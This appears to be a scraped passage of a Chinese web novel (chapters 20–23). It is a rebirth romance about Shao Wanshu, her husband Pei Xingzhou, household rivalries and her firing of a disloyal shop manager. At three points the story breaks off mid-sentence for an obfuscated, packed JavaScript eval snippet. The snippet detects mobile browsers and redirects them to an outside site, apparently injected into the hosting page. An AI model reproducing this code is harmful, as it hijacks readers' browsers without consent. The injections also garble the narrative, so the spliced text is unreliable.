裴行舟掀开帘子去了屋里,他本想跟母亲说一声,要去前院书房处理公务,结果却发现邵婉淑又在看三弟,从前他从未见她和三弟有过任何的交流。 三弟和她年岁相当,又是个读书人,二人坐在一处竟十分的相配。他记得有传言说当年她曾和邹相家的公子议过亲,那邹相家的三公子和他不同,是个读书人。 裴行舟抬步朝着邵婉淑的方向走了过去。 20.第 20 章 邵婉淑的确在看裴璃,确切地说是在看裴璃和柳氏。前世她没怎么关注过这二人,如今看,这夫妇俩着实有些意思。 柳氏一直在裴璃耳边嘀嘀咕咕说着什么。裴璃脸上的表情有些不耐烦,但他并未开口说话,沉默不语。 前世她一直觉得整个定南侯府中只有她和裴行舟这对夫妻是不合的,其余两对夫妇感情都极好。如今瞧着,二房那对暂且不说,三房这对夫妇应该是貌合神离。 看着看着,眼前的视线被一袭熟悉的玄色衣裳挡住了,邵婉淑顺着衣裳看向了面前之人的脸。 刚刚她看到裴行舟把裴行凛叫出去了,二人在外面说话,她眼角瞥到裴行凛也进来了,脸色似乎不太好看。再看面前的裴行舟,面容严肃,看不出来喜怒。但邵婉淑和他相处久了,多少能察觉出来一些情绪。裴行舟脸上看似没什么表情,但她能隐隐察觉出来他也不太高兴。 兄弟俩刚刚在外面吵架了? 不过,他回来后站在她面前是什么意思,难道吵架的内容和她有关? 邵婉淑直接问道:“侯爷有话要说?” 裴行舟:“今日还有许多公务要处理,我先去前院了。” 邵婉淑惊讶地看向裴行舟。她还以为裴行舟会同她说些什么事,没想到说的竟然是他的行踪。 她是三皇子的表姐,他是大皇子的伴读,俩人从身份上看不是一个阵营的,裴行舟跟她说这些做什么?从前他可从未跟她说过任何关于公务的事,甚至还会有意无意避开她。莫非是晚上吃了酒,有些醉了? 邵婉淑一时没琢磨出来裴行舟的意思,只好应了一声:“哦。” 裴行舟已经交代完事情,按理说应该走了,但他却没动,就这么静静看着邵婉淑。 邵婉淑实在是不知道裴行舟的意思,她盯着裴行舟看了看,侧头看向了榻上。见姜老夫人不在,她瞬间就明白了。裴行舟肯定是想去跟婆母说的,结果婆母出去了,所以他才跟她说,让她去跟婆母说。 “一会儿等母亲回来,我跟她说一声。” 裴行舟:“嗯。” 邵婉淑想,自己果然猜对了。 裴行舟转身离去,经过裴璃身侧时,脚步一顿,把他叫了出去。在院子里又嘱咐了几句,这才去了前院。 裴璃一脸迷惑,大哥说话一向言简意赅,不喜欢说废话,也不喜欢重复说。今日却交代了他两次关于科考一事。可见大哥心里还是重视他的,当然那他也不能辜负了大哥的好意,他要好好读书,争取今年考中。 柳氏见丈夫出去了,也跟了出去,正好看到裴行舟离去的背影。 裴璃听到动静侧头看向了身侧,看着妻子眼里的情绪,一改刚刚的温和,脸色沉了下去,冷着脸负手离去。 柳氏见丈夫走了,赶紧跟了过去。 “你等等我。” 裴璃走得极快,脚步不停。 柳氏快步跟上,拦住了裴璃的去路:“刚刚侯爷同你说了什么?” 裴璃虽然停下了脚步,但却没理她。 柳氏的语气有些不耐烦:“你是哑巴吗,侯爷到底跟你说了什么?” 裴璃垂眸看向柳氏,问:“你是想问大哥有没有提你是吗?” 柳氏被戳中心事,脸色有些不自然,眼神也有些躲闪。 “你……你混说什么呢,我问这些作甚。” 裴璃扯了扯嘴角,直白地道:“你安分些吧,免得让大家都难看。” 柳氏心里大惊:“你这是什么意思?” 裴璃:“你跟大嫂是没法比的,就不要再自取其辱了。” 柳氏最忌旁人说她不如邵婉淑,顿时大怒:“我除了出身哪里比不上她了?她不就是有贵妃娘娘这个姑母吗!” 裴璃嗤笑一声,毫不留情地讥讽道:“大嫂不光有贵妃娘娘这个姑母,她还知书达理,心思纯良,待人和善。你又有什么呢?” 柳氏本就对邵婉淑有意见,见丈夫说她比不上邵婉淑,怒火中烧:“好啊,我没想到你竟对邵婉淑存着这样肮脏的心思!” 面对柳氏的无端指控,裴璃面色始终平静,缓缓说道:“你自己心里有鬼便看旁人都是脏的,我劝你收起那些龌龊的心思,莫要被大嫂看出来了。母亲一向喜欢二嫂,可她仍旧要把管家权给大嫂。你连二嫂都比不过,就别想着跟大嫂比了。大嫂要是闹起来,母亲绝不会护着你。” 柳氏的脸色一阵红一阵白,难看得很。 裴璃:“你快回去吧,好好讨好母亲。今晚我要读书,你莫要来烦我。” 说罢,径自离去。 柳氏气得跺了跺脚,她站在原地待了片刻,转身回了祥和院。在看到邵婉淑的那一刻,裴璃的提醒瞬间就被她抛之脑后,取而代之的是嫉妒。凭什么邵婉淑既能得到裴行舟,又能被裴璃另眼相待。 “咦,大哥走了啊,大嫂怎么没和他一起走?” 邵婉淑瞥了柳氏一眼,从前她是真的没有发现柳氏的心思,自从前世柳氏在她面前闹了一场,如今再看,她的心思早已露出来一些,只是她没往那方面想罢了。她倒是挺关注裴行舟的,想必她方才出去也不是因为裴璃,而是因为裴行舟。 “你方才不是看到侯爷出去了么,怎么还会有这样的疑惑?” 看着邵婉淑仿佛知晓一切的目光,柳氏顿时心里一紧。很快她又平复了心情。当年的事情做的隐秘,知道的人不多,而这些人是不可能告诉邵婉淑的。 “哦,我疑惑的是大嫂没跟大哥一起离开。” 见柳氏没有停止话头,还在说此事,邵婉淑有些不悦,故意说道:“侯爷有事要忙,去书房了。等到晚上他定要回内宅的,我们夫妇二人此刻是否一同离开也不重要。” 听邵婉淑如此说,柳氏震惊不已。邵婉淑在她的印象中一向是古板又严肃的,从不跟人开玩笑,也不许旁人开她的玩笑,就像是一个老古董一样。然而,她今日的话里竟然提及了闺房之事。 她为何变得如此古怪?迎着邵婉淑的目光,柳氏心里一紧。邵婉淑不会知道她当年做了什么吧?想到这里,柳氏的脸色变得很难看,她顿时不敢再多说什么,端起茶喝了一口,缓了缓情绪后,起身朝着杜氏和裴明英的方向走去。 杜氏和裴明英正说着要去琉璃斋打一副新首饰,裴温静垂着头安安静静站在一旁听着,一句话也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989783|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。 柳氏一把推开裴温静,站在了她的位置上。 “二嫂和二妹妹打算何时去打首饰,我正好也缺一副呢。” 裴温静踉跄了一步,扶着一旁的椅子站稳了,全程都低着头,没有任何不满的情绪。 对于这件事,柳氏没有丝毫的歉意,杜氏和裴明英也像是没看到一般。 前世裴温静也是这种安静的性子,府里每个人都能踩她一脚。 邵婉淑曾替她出过头。结果既惹来了婆母的不喜,裴温静也没有领情,弄得她里外不是人。从那以后她再也不管了。 邵婉淑看了一眼那边,收回了目光。 等姜老夫人回来,邵婉淑跟她说了一声,回了韶华院。 亥时,邵婉淑沐浴后便去休息了,在她看来,裴行舟既然下午来过了,晚上定不会再来。至于她跟柳氏说裴行舟今晚会回内宅的话,纯属是故意气她的。 阿桔正要吹灭蜡烛,被阿梨阻止了。 “怎么了?” 阿梨低声道:“今日是初一,侯爷兴许会回来。” 最近侯爷常常回来,阿桔都忘了从前他从前只有在初一和十五才会回正院。 “也不一定吧,侯爷现在回内宅哪还看日子,隔三岔五便要回来的。” 阿梨犹豫了一下,还是说道:“别管侯爷回不回,先留着灯吧。” 她还记得上次侯爷回来时见夫人已经熄了灯脸色难看的样子,等到子时,若是侯爷不回来她们再把灯熄了。 阿桔:“好吧。” 阿梨吩咐门口的婆子先不要关门。 约摸过了两刻钟左右,裴行舟的身影出现在了韶华院门口。见邵婉淑还给他留着灯,裴行舟心情不错。 就在邵婉淑快要睡着之际,迷迷糊糊听到外面似乎有些动静,很快,眼前多了一丝光亮,刺眼的光让她眼睛有些不适,缓缓睁开了。 她没有听错,的确是裴行舟回来了。她最近越发看不懂裴行舟了。裴行舟昨晚刚刚回来过,今晚怎么又回来了。 裴行舟看着睡在床中间的邵婉淑,脸色有些难看,方才的好心情荡然无存。 邵婉淑以为裴行舟今晚不会回来了,于是把他那碍事的枕头扔到了床尾,自己睡在了中间。见裴行舟脸色不善,她慢慢往里挪了挪,把外面的位置给裴行舟空了出来。 裴行舟的目光四处逡巡着,似乎在寻找什么。终于他在床尾发现了自己的枕头,沉着脸把枕头拿了回来,放在了邵婉淑身侧,脱下外衣,上了床。 眼下的情形委实有些尴尬,邵婉淑不敢看裴行舟的脸色。 好在阿桔很快就熄了灯,邵婉淑不用看他的脸色了,松了一口气。 裴行舟却没打算放过她,沉声问:“夫人和三弟很熟吗?” 这话问的着实奇怪,她嫁入侯府已有四个月。她是长嫂,裴璃是她的小叔子,俩人同处一个府中。所谓的熟,得看和谁比,怎么比。她听出来裴行舟语气里有几分不悦,以为他还在为她扔了他枕头的事情生气。想到他回来这么晚,把她吵醒了,顿时也来了气。于是故意阴阳怪气地回了一句:“还好吧,见他的次数比见你多。” 21.第 21 章 邵婉淑这话虽然不太好听,但却是实话。 裴璃身上没有差事,每日上午去见先生,下午就在府中读书。他几乎每日都会去给老夫人请安。俩人时常在祥和院相见,有时也会在府里院子里见面。不过,他们二人见面时最多点头打一声招呼,其余什么话都没说过。 裴行舟可不是这样想的,他那有些堵的心口更堵了。但同时他也意识到了这是自己的问题,说话的语气变得温和了些。 “抱歉,最近公务繁忙,没时间回内宅。” 邵婉淑知道这是裴行舟的借口。前世这个时候裴行舟每个月也就回来两次,今生他却能回来得这么频繁。而根据阿梅的打探,很多时候裴行舟的公务并不算多,早早便歇下了。由此可见,裴行舟是否回内宅和他公务多少无关,他就是不想回来。 但既然裴行舟开口道歉了,她也不好再多说什么。 “嗯,我都明白。” 就在邵婉淑以为这个话题到此为止时,裴行舟又接着刚刚的问题问道:“你今晚和三弟聊了什么?” 一连两次提及这个问题,邵婉淑发现到裴行舟很在意这件事。她突然意识到裴行舟这句话或许不是随口问的,他很可能是在怀疑她。他们二人属于不同的阵营,他怀疑她拉拢他不成,开始拉拢侯府的其他人。 这件事他猜错了,她没有任何参与的意思,无论是三皇子还是大皇子,她都不会帮的。 她只是出于前世的事情对裴璃有几分好奇,所以跟他说了几句话,并无任何拉拢之意。裴行舟这般试探她,着实让人不悦。 “聊太多了,不知侯爷想问什么?” 邵婉淑的语气也有些不好。 裴行舟没得到自己想要的答案,心口依旧堵,但他此刻冷静下来了,觉得自己刚刚情绪不太对,竟抓着一个问题问个没完,便没再多说。 见裴行舟不说话了,邵婉淑想到柳氏今晚从外面回来后刺了自己几句,心里也有些不舒服。想到前世裴行舟死后柳氏的嘴脸,她直白地说了出来。 “侯爷和三弟妹挺熟的吧?” 裴行舟沉声问:“你指什么?” 见裴行舟竟然不坦白,邵婉淑道:“我指什么侯爷心里应该清楚,莫要以为我刚嫁入府中,什么都不知道。” 前世今生,她和裴璃说过的话不超过十句,两人之间没有任何拿不到台面上说的事。真正有问题的是裴行舟和柳氏。 裴行舟皱了皱眉,没有回答。 邵婉淑听不到想要的答案,故意扯过被子,面对里侧睡了。 裴行舟见身上的被子全都被扯走了,眉头紧紧皱了起来,她最近真是脾气见长了,俨然没了从前的温婉体贴。不仅早上不起床服侍他,晚上就寝也不等他,甚至敢扔他的枕头,抢他的被子。 他刚想起身离开,想到今日是初一,若是他走了府里怕是会有闲言碎语,于是又忍住了。至于去抢邵婉淑身上的被子,他一个大男人做不出来此事。好在如今天气渐热,他又是习武之人,身上不盖被子也不觉得凉。 邵婉淑觉得以裴行舟的脾气此刻应该离开了,结果听了一会儿没听到他离去的动静,她心里暗暗有些奇怪。但也没奇怪多久,慢慢地就睡着了。 芳华院中,裴行凛正在和杜氏说着收回印子钱的事。 裴行凛:“大哥今日又同我说了印子钱的事,我瞧着他是真的生气了。” 杜氏蹙眉:“侯爷说得简单,可这印子钱尚不到时日,如何能收回来?” 裴行凛:“他是铁了心要收回来了,收不回来也得收了。” 杜氏瞧出来丈夫的意思,小声道:“要是现在收回来,得少赚二百两银子呢。要是再过上一个月,这银子就能赚回来了。” 裴行凛没说话。 杜氏:“这可不仅仅是收回来银子的问题。要是真的把账上的银子收回来了,管家权也就得交给邵婉淑了。咱们真的要交出去吗?一年少赚几千两银子呢。” 侯府账上的银子多,除了放印子钱,府中采买之类的事情也有不少油水可以捞。 裴行凛:“母亲今日找你说了什么?” 杜氏叹气:“跟大哥找你说的事情是一样的。母亲平日里瞧着是心疼夫君的,结果到了关键时候还是跟大哥一条心。她前几日就已经问过我管家的事情了,今日又把我叫过去说了管家的事儿,问我处理好了没有,何时把管家权交给邵婉淑。” 裴行凛皱了皱眉。 杜氏:“你说他俩今日是不是商量好的?” 裴行凛思索片刻,道:“应该不是,按照母亲的性子,若知道咱们放了印子钱定不是这样的反应。” 杜氏点了点头:“嗯,你说得对。要不你去跟母亲说一声,别把管家权给邵婉淑了。母亲最疼你了,侯爷再强势,内宅的事也不得不听母亲的。” 裴行凛想了想,道:“这几日我找个机会吧。” 杜氏:“好。” 自从邵婉淑不在乎裴行舟之后,她想怎么躺就怎么躺,觉睡得格外舒服。 许是因为昨晚睡得早,第二日一早,天还没亮,邵婉淑就醒了。 她是被热醒的。 睁开眼后,她发现自己竟然靠在裴行舟怀中,脖颈下枕着裴行舟的胳膊,腿还搭在了他的身上。裴行舟的身体本就热,如今已是夏日,天气也越来越热了,她就被热醒了。 重生回来后,她睡觉真的是越来越不老实了。 这已经不是她第一次枕着裴行舟的胳膊了。之前也就罢了,裴行舟起得早,她装作没睡醒,也就糊弄过去了。此刻天色尚早,裴行舟还没醒。昨晚二人刚闹了脾气,此刻她再窝在他的怀中就有些不合适了。 邵婉淑慢慢挪动了一下身体,准备往里去一下。结果刚动了一下,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17001118|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见裴行舟突然睁开了眼。 邵婉淑心头顿时一跳。 隐隐察觉到裴行舟的身体变化,看着裴行舟眼神里的情绪变化,邵婉淑心跳加速,小心翼翼地收腿。 然而,刚收了一半,腿就被一只大掌握住了,源源不断的热气从脚踝处传来。 下一瞬,她被扯入了裴行舟的怀中。 邵婉淑来不及惊呼,唇就被堵住了。 唇齿相交的那一瞬,两个人身体都是一颤。他们每次温存都是在晚上,从来没有在早上行过此事。虽说天尚未全亮,但已经有了天明的迹象,帐内不至于完全昏暗,她能看得清裴行舟每一个细微的表情变化,渐渐沉入其中。 意乱情迷之际,邵婉淑突然想到了昨晚上两人没有结论的争吵,保持住一丝清明,抬手推了推裴行舟。 裴行舟用了个巧劲儿,把邵婉淑的胳膊拿开了,手上动作没停,嘴里解释道:“柳氏的母亲虽然也姓姜,但却是母亲出了五服的妹妹,关系并不亲密。她在嫁给三弟前,我只在母亲身边见过她几次,连她的样子都没记清楚。” 邵婉淑心里舒坦了些。 但转念一想,又想到了另外一个问题。 原来昨晚他就明白她在意的是什么,为何昨晚不解释,今早才告诉她! 邵婉淑再次推了推裴行舟,质问:“之前为何不解释?” 屡次被打断,裴行舟也有些不悦了,他看向邵婉淑,眯了眯眼,哑声道:“夫人也没给我解释过邹相三公子的事情。” 邵婉淑眼眸微微睁大了些,他竟知道此事,她还以为他不知道呢。她说亲之时,裴行舟仍在丧期,人也不在京城,父亲和姑母从没考虑过他。那时邵家想把她嫁入邹相府。后来裴行舟丧期结束回来,而相府那边又对这门亲事推三阻四,邵家这才转移了目标。 此事的确是他们家做的不妥当,她一直不赞同父亲和姑母的这种行为,可又改变不了什么。她没有选择,他们让她嫁给谁,她便只能嫁给谁。 如此不道德又丢人的事情她又岂会主动跟裴行舟说。 这件事是她理亏。 邵婉淑瞬间没了气势,将放在裴行舟胸口的手拿开了,眼睛也不敢再看裴行舟。 见她不再抵抗,顺从于他,裴行舟既高兴,又有些气闷。瞧着她这副心虚的模样,怕是真的和邹家三公子有过些什么。 此刻,她乌发凌乱地散落在枕头上,白皙的小脸微微泛着红晕,眼睛湿漉漉的,像是被山泉洗过一样。 裴行舟眼神一暗,喉结微滚,看着邵婉淑白皙纤细的脖颈,他俯下身去。 邵婉淑吃痛,惊呼一声,抬手捶了一下裴行舟。 裴行舟满意地看着邵婉淑脖颈上的痕迹,穿上外衫,去院子里练剑了。 听着外面传来的声音,邵婉淑摸了一下自己微痛的脖颈,蹙了蹙眉,裴行舟是属狗的吗? 22.第 22 章 等裴行舟走后,邵婉淑又在床上躺了一会儿才起来,她坐在镜前看了看脖子上的痕迹,又在心里抱怨了裴行舟几句。 阿梨和阿桔二人相视一笑,侯爷和夫人的感情真是越来越好了。 好在痕迹靠近下方锁骨,穿一件高一些的衣衫就能遮住了。邵婉淑收拾一番去祥和院请安了,姜老夫人一脸笑意地看着她。 这种笑容邵婉淑再熟悉不过了,她垂了眸,不看她的目光。 到了傍晚,熟悉的鸡汤又来了。 最近一个月姜老夫人时常让人往韶华院送鸡汤。纵然邵婉淑喜欢喝鸡汤,隔几日就喝还是会有些腻。 邵婉淑正愁着这一锅鸡汤该怎么办时,裴行舟突然回来了。 邵婉淑原本还因为早上裴行舟的行为有些不高兴,但此刻看向裴行舟的眼神有几分热切。 “侯爷吃饭了吗?” 看着邵婉淑的眼神,裴行舟心头一软。早上二人闹了不愉快,他从外面回来后,没有去书房,直接就过来了。即便方才刚刚吃过,但还是说道:“尚未。” 身侧的青云诧异地看向侯爷。 裴行舟察觉到他的目光,微微侧头,警告的意思很明显。 青云连忙垂下头不敢再表现出来什么。 邵婉淑提议:“一起吃吧?” 裴行舟本想着回来看看她就去前院,眼下却不好拒绝了。 “好。” 落座净手后,裴行舟终于看到了桌上的鸡汤。 邵婉淑起身为裴行舟盛汤:“母亲知道侯爷在外辛苦,专门为侯爷熬的,您多喝点。” 母亲何时这般关心过他?裴行舟并不信这番话。他瞥了一眼邵婉淑,并未多言,接过了邵婉淑递给他的鸡汤,三两口就喝完了。 邵婉淑立即又为他盛了一碗。 裴行舟喝了大半盆,邵婉淑才终于不再给他盛了。 邵婉淑自己也硬逼着自己喝了一碗,鸡汤终于见了底。 吃过饭后,裴行舟略坐了一会儿去了前院。 等裴行舟走后,阿桔疑惑地道:“我怎么瞧着侯爷只喝了鸡汤,并未吃多少东西?” 邵婉淑一怔,她方才只顾着让裴行舟喝鸡汤了,还真没注意他吃了什么。仔细一想,好像他一直在喝鸡汤,并未吃多少东西。她下意识想让厨房给他送些吃食,转念一想,他是侯爷,整个府都是他的,他若是饿了自然会让厨房为他做,便没再多做什么。 亥时左右,邵婉淑准备休息了。 阿梨:“夫人,您要不要再等等,兴许侯爷晚上会回来的。” 最近侯爷时常来韶华院,说不定今晚还会回来。 邵婉淑:“不会的,他方才已经来过了,晚上不会再来了。” 前世便是如此,若是裴行舟前院有事要忙,便会早些来后宅坐一会儿,然后夜里就不过来了。到了后面,他干脆不来内宅了,回了府之后直接去前院,她早就习惯了。 邵婉淑放心地去床上睡了,看着床头的两个枕头,她犹豫了一下,还是把裴行舟的枕头扔去了床尾,随后把自己的枕头放在了中间。这样的话,无论是往左还是往右翻身都舒服。 半梦半醒间,邵婉淑察觉到床上突然多了一个人,瞬间清醒过来。 “醒了?”裴行舟低沉的声音在一片漆黑中骤然响起。 邵婉淑听出了他声音里的情绪,不想答,紧闭着眼睛不说话,装睡。然而,她不停转动的眼珠,屏住的呼吸,还是泄露了她早已醒来的事实。 黑暗中,裴行舟抬手将人揽入怀中,温热的唇准确落在了邵婉淑柔软的唇瓣上。 不知是不是鸡汤喝多了补过了头,今晚裴行舟格外热情。 邵婉淑疲惫地窝在裴行舟的怀中。若是天冷之时,这的确很舒服,可如今天气热了起来,再这样靠在一起就太热了。虽然刚刚重新擦过身子,可此刻感觉身上又要出汗了。她挣扎了一下,想要从裴行舟怀中挣脱出来。 裴行舟却将她紧紧圈在怀中,动弹不得。 他从前从来不会这样,今晚也不知怎么了。 邵婉淑见裴行舟枕着自己的枕头,而自己却动不了,推了推裴行舟:“你压到我枕头了,往边上去一下。” 裴行舟:“去不了。” 邵婉淑:“为何?” 裴行舟:“边上没有枕头。” 邵婉淑:…… 她怎么从裴行舟的语气里听出来一丝幽怨的情绪。想到自己又把他的枕头扔到了床尾,瞬间不似方才那般理直气壮了。 “那个……我以为你晚上不回来了。” 裴行舟:“哦,我还以为夫人喜欢两个人睡一个枕头。” 邵婉淑:…… 两人躺在一个枕头上实在是太挤了,还有些热,她倒也没这么想。 邵婉淑实在是理亏,推了推裴行舟,从床上坐起来,爬到床尾把裴行舟的枕头拿了过来,递给他。 裴行舟接过枕头,放在了邵婉淑枕头旁边。 邵婉淑以为裴行舟这次没有理由再用她的枕头了,结果,他还是保持方才的姿势和位置。 邵婉淑推了几下没推动,身子又比较疲惫,没那么多的精力跟他耗着,索性不再推了,渐渐睡着了。 第二日一早,去祥和院请安后,邵婉淑坐马车出府去了。书院旁边的那间书肆照常卖着书,生意还不错。城南的茶叶铺子已经关门了,刘掌柜和伙计们正在收拾着里面的东西。 最后,邵婉淑来到了城北的书肆。看着仍旧照常开着的书肆,她的眉头微蹙。 王掌柜看到邵婉淑来了,心里有些慌。侯夫人一向不怎么关注外面铺子的事情,他着实没想到侯夫人今日竟然会亲自来铺子里,他连忙快步走了过来。 邵婉淑什么都没说,等铺子里唯一一个顾客走了后,开口问道:“为何没有将铺子里的书运走?” 王掌柜:“夫人有所不知,这几日不好叫车,等过两日再找几辆车运走。” 京城不好叫车,这是什么鬼话?这话骗一骗那些不管家,大门不出二门不迈的女子或许还行,邵婉淑管家多年,自是不信。旁的地方不好说,京城的车尤其多,什么时候都能叫到。 她上次给过王掌柜机会了,是他没有珍惜。 “你既不想在我铺子里做掌柜的,那就另谋高就吧。” 邵婉淑说话的语气虽然依旧平静,但却带着一丝不容拒绝的意味。 王掌柜顿时心里一惊,他着实没想到邵婉淑会如此干脆利索地把他辞掉。 “夫人,我可在邵家干了十来年了,您不能说把我换掉就把我换掉。” 邵婉淑压根儿就不理他,她看向铺子里的伙计,道:“去把禄管事找过来。” 伙计立马就去了。 邵婉淑又看向另一个伙计:“叫几辆车,将铺子里的书全都搬到书院那边的铺子里。” 伙计刚来铺子没多久,不似王掌柜那般不把邵婉淑放眼里,他自然是要听东家的话,况且,这东家还是侯夫人。礼部侍郎和定南侯这两者该听谁的,他心里十分清楚。 “是,小的立即就去办。” 约摸过了两刻钟左右,禄管事匆匆来了。 “见过侯夫人。” 邵婉淑:“给他算工钱,让他结账走人。” 禄管事心里也是一惊,试探地问道:“夫人,王掌柜是铺子里的老人了,他做错了什么事吗?” 邵婉淑:“几日前我就吩咐过要收拾铺子,到现在铺子还保持着原样。” 禄管事忙解释道:“夫人有所不知,这事儿其实也不怪他。老爷不知如何得知了此事,不许将铺子改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17005660|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为饭馆,王掌柜这才没改的。” 王掌柜立即道:“对,就是这样没错,是老爷没同意。” 邵婉淑没想到竟然是父亲在背后压着,他们不提父亲还好,一提到他她心头的火气就往上窜。 她抬眼看向禄管事和王掌柜,目光先落在了王掌柜的身上,冷声道:“作为铺子里的掌柜,你连真正的东家是谁都分不清,可见是糊涂极了。” 阿梨看了一眼邵婉淑。 王掌柜头一次发现大姑娘气势竟然这般强,从前他也见过她几次,没什么存在感。想到她如今的身份,他后背冷汗淋漓,不敢再多说一个字。 邵婉淑又看向了路管事,想到禄叔前世对自己的忠心,她强压住心里的火气,道:“禄管事,看在你在府中多年的份儿上,此事我不同你计较,我也知你为难。但你要认清身份,如今你是我身边的人,不再是侍郎府的人了。若你还这般为难,那就回侍郎府吧。” 禄管事忙道:“老奴这就将他遣走,只是,如今这铺子没有掌柜的也不好办。” 邵婉淑:“此事就无须你操心了。” 禄管事:“是。” 王掌柜见事情没有了转圜的余地,立即就慌了。 “夫人,我错了,求您再给我一次机会吧。” 如今他们家大姑娘嫁入了定南侯府,周围的商铺别提多羡慕他了,他不想丢了这个好差事。 邵婉淑:“你既不能为我赚钱,也不听话,我留你何用?” 王掌柜瞧出来邵婉淑是铁了心要撵他走,心里着实憋屈愤怒,但碍于邵婉淑的身份,他不敢多说什么。 不多时,伙计将车叫了过来。 邵婉淑:“你叫什么名字?” 伙计:“小的名叫阿运。” 邵婉淑:“这里的事暂且由你负责,把书记录在册,运去书院那边的铺子,再安排人将这里打扫干净,等着新掌柜来。” 阿运:“是,小的明白了。” 出了铺子后,邵婉淑上了马车。 阿梨一脸担忧,一副心事重重的模样。阿桔则是一脸骄傲,他们家姑娘总算是立起来了,不用再受侍郎府的气了。 阿梨终究还是没忍住,说出来自己的担忧:“夫人,老爷那边该如何交代?” 阿桔:“这铺子本就是属于夫人的,王掌柜不听话,早该辞了。” 阿梨:“话虽如此说,但禄管事和王掌柜是邵家的老人了,今日的事情他们怕是会跟老爷说。” 阿桔:“老爷知道了也会站在夫人这边的。” 阿梨可不这样想,她有些担忧地看向邵婉淑。 邵婉淑:“我既已经出嫁,就顾不得父亲那边了。” 见夫人主意坚定,阿梨反倒是心里轻松了些。她刚刚问出来那些话也是担心夫人没考虑清楚后果,既然夫人已经考虑好了,那就没什么可担心的了。从前夫人未出嫁时是侍郎府的姑娘,自然要听从老爷的,可如今她是侯夫人了,背后有侯府罩着,想必老爷惩罚姑娘时也要三思。 想到刚刚夫人处理事情时的神态和气势,阿梨感慨道:“夫人越发像侯爷了。” 阿桔笑着说:“你不说我都没发现呢,我说呢,刚刚夫人说话的语气像谁,原来是像侯爷。” 邵婉淑怔了一下,问:“我跟侯爷很像吗?” 阿梨和阿桔同时点头。 阿桔又补了一句:“从前夫人像老爷,现在不像了。” 从前她性子古板,有些迂腐,的确是像父亲的。她竟没发现自己不知不觉学了裴行舟的处事方式,果然跟谁待久了就像谁。 阿桔笑着说:“还是像侯爷好啊,不受委屈。” 邵婉淑也觉得像裴行舟比像父亲好,笑了下。 阿梨还担心邵婉淑会生气,见她笑了,松了一口气。 23.第 23 章 晚上,青云把前几日调查的事情告知了裴行舟。 “夫人身边去前院跟寅虎打探消息的婢女名叫阿梅,阿梅之前从寅虎那里打探完消息后就去告诉了她爹禄管事,然后再回内宅告知夫人,禄管事每三日回一趟侍郎府。” 裴行舟脸上没什么意外的表情,当初邵婉淑刚嫁过来时他便知晓了此事。 青云又道:“但怪就怪在,一个月前,阿梅从寅虎那里打探完消息后仍旧告知了她爹,但却没有再告诉夫人,禄管事仍旧每三日回一趟侍郎府。” 裴行舟瞬间就明白了是怎么回事。 “夫人知晓此事吗?” 青云:“应是不知晓的。” 裴行舟:“嗯。” 青云想到最近发生的事情,瞧出来侯爷十分关注夫人,便又多嘴说道:“属下还打探到夫人最近想把自己陪嫁的两间铺子改成别的行当,禄管事把此事告诉了邵侍郎,并且从中百般阻挠。” 裴行舟脸色一沉。一个奴才竟敢对主子不敬,当真是反了天了。 青云:“夫人今日将那不听话的掌柜的辞退了。” 裴行舟微微有些惊讶。从最近发生的事情看,她似乎一直在跟邵家作对。他虽然欣喜于她的改变,却不解其中的缘故。 “安排人手在一旁看着,莫要让人欺负夫人。” 青云:“是,侯爷。” 韶华院里,邵婉淑正吩咐阿梨和阿桔。 “阿梨,明日一早你去城北的书肆看一看,瞧瞧那小伙计有没有把书搬走。” 她不能只做甩手掌柜,有些事情还是要监督起来。 阿梨:“是。” 邵婉淑又看向阿桔:“你抽空去一趟庄子上,把林厨找来。” 阿桔:“好。” 阿梨听到邵婉淑的安排,多想了一层。往日,她和阿桔在宅子里伺候,外面的这些事情可都是由阿梅和禄叔办的。 “夫人,您这是怀疑禄叔了?” 邵婉淑:“禄管事的确是个忠心的,可惜他忠的人不是我,而是父亲。他对父亲太过忠心了,怕是不能为我所用了,往后要多麻烦你们二人了。” 前世,她和父亲没有任何的分歧,禄管事尽心为她办差事,如今起了分歧,禄管事的心便偏向父亲了。经历了前世的事情,她和父亲之间的关系不可能缓和。如此不忠之人,她自然不敢再用。 阿梨和阿桔对视一眼,连忙应下了差事。 听到外面有了些动静,邵婉淑没再多说什么。 不多时,裴行舟大步走了进来。 阿梨和阿桔退了出去。 等屋里只剩下裴行舟和邵婉淑二人时,裴行舟开口问道:“夫人最近可有再让阿梅打探消息?” 今日邵婉淑的心情本就不好,听到裴行舟这般问她,心里更是难受。他问这话是何意,还在怀疑她盯着他? 